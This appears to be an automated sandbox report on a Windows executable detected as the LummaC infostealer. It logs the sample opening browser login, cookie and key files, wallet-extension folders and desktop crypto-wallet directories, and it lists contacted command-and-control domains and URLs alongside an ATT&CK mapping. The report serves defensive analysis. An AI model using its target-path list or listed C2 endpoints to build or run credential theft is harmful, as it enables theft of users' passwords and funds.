Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2291721409.000000000100A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2291533725.000000000100A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: l0zocrLiVW.exe PID: 2736, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: l0zocrLiVW.exe PID: 2736, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	44 Virtualization/Sandbox Evasion	1 OS Credential Dumping	851 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	44 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
l0zocrLiVW.exe	57%	Virustotal		Browse
l0zocrLiVW.exe	61%	ReversingLabs	Win32.Infostealer.Tinba
l0zocrLiVW.exe	100%	Avira	TR/Crypt.TPM.Gen
l0zocrLiVW.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://lev-tolstoi.com:443/apical	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/apin.txtPK	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/oi.com	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/dsofL6	100%	Avira URL Cloud	malware
https://scentniej.buzz/	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/ms	100%	Avira URL Cloud	malware
https://lev-tolstoi.com:443/api0	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
scentniej.buzz	unknown	unknown	false	high
prisonyfork.buzz	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	false	high
appliacnesot.buzz	unknown	unknown	false	high
hummskitnj.buzz	unknown	unknown	false	high
mindhandru.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	false	high
cashfuzysao.buzz	unknown	unknown	false	high
inherineau.buzz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	l0zocrLiVW.exe, 00000000.00000003.2189996394.000000000105C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	l0zocrLiVW.exe, 00000000.00000003.2190017394.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com:443/apin.txtPK	l0zocrLiVW.exe, 00000000.00000003.2291533725.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	l0zocrLiVW.exe, 00000000.00000003.2213466317.000000000588A000.00000004.00000800.00020000.00000000.sdmp, l0zocrLiVW.exe, 00000000.00000003.2213364976.000000000588D000.00000004.00000800.00020000.00000000.sdmp	false		high
